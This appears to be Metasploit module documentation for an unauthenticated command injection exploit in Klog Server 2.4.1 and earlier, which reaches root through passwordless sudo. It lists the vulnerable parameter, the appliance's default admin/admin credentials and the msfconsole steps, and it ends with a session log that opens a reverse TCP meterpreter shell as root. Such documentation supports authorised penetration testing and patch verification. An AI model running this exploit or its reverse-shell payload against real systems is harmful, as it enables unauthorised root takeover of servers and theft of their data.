## Vulnerable Application

This module exploits an unauthenticated command injection vulnerability
in [Klog Server](https://www.klogserver.com/) versions 2.4.1 and prior.
    
The `authenticate.php` file uses the `user` HTTP POST parameter in a call
to the `shell_exec()` PHP function without appropriate input validation,
allowing arbitrary command execution as the apache user.
    
The sudo configuration permits the apache user to execute any command
as root without providing a password, resulting in privileged command
execution as root.

This module has been successfully tested on Klog Server version 2.4.1
virtual appliance.

Download:

* https://www.klogserver.com/download/ova/2.4.1/klogserver.ova

## Verification Steps

The virtual appliance makes use of a default IP address `10.10.56.51`.

To change the network settings:

1. Login as `admin` - the default console and SSH credentials are `admin` / `admin`.
1. Select menu option `Ağ ayarları` (1) to view network settings

```
=== ANA MENÜ ===========================================================

  1. Ağ ayarları
  2. Sorun giderme
  3. Bakım
  4. Cıkış

Çalıştırmak istediğiniz komutun sayısını giriniz: 1
```

1. Select menu option `Ağ ayarlarını güncelle` (2) to change the current network configuration

```
--- AĞ AYARLARI --------------------------------------------------------

  1. Ağ ayarlarını göster
  2. Ağ ayarlarını güncelle
  3. Ana menüye dön

Çalıştırmak istediğiniz komutun sayısını giriniz: 2
```

1. Enter the desired IP address, netmask, and gateway

```
Yeni IP adresi giriniz. Menüye dönmek için Enter'a basınız:
> 10.1.1.123

  IP adres: 10.1.1.123 

Yeni alt ag maskesini giriniz. Menüye dönmek için Enter'a basınız:
> 255.255.255.0

  IP adres: 10.1.1.123 
  Alt ağ maskesi: 255.255.255.0 

Yeni ağ geçidini giriniz. Menüye dönmek için Enter'a basınız:
> 10.1.1.1

  IP adres: 10.1.1.123 
  Alt ağ maskesi: 255.255.255.0 
  Ağ geçidi: 10.1.1.1 

Ayarlar uygulanıyor...
```

Metasploit:

1. Start msfconsole
1. Do: `use exploit/linux/http/klog_server_authenticate_user_unauth_command_injection`
1. Do: `set RHOSTS [IP]`
1. Do: `set TARGET [TARGET]`
1. Do: `set PAYLOAD [PAYLOAD]`
1. Do: `set LHOST [IP]`
1. Do: `exploit`

## Options

### TARGETURI

The base path of the Klog Server (Default: `/`)

### USE_SUDO

Execute payload as root using `sudo` (Default: `true`)

## Scenarios

### Klog Server version 2.4.1

```
msf6 > use exploit/linux/http/klog_server_authenticate_user_unauth_command_injection 
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set rhosts 10.1.1.123
rhosts => 10.1.1.123
msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > check
[+] 10.1.1.123:443 - The target is vulnerable. Response received after 9 seconds.
msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set target 0
target => 0
msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set lhost 10.1.1.105 
lhost => 10.1.1.105
msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > run

[*] Started reverse TCP handler on 10.1.1.105:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable. Response received after 11 seconds.
[*] Sending stage (980808 bytes) to 10.1.1.123
[*] Meterpreter session 1 opened (10.1.1.105:4444 -> 10.1.1.123:35824) at 2021-02-11 22:59:15 -0500
[*] Command Stager progress - 100.00% done (773/773 bytes)

meterpreter > getuid
Server username: root @ klogserver.klogserver.com (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : klogserver.klogserver.com
OS           : CentOS 7.3.1611 (Linux 3.10.0-514.el7.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > 
```
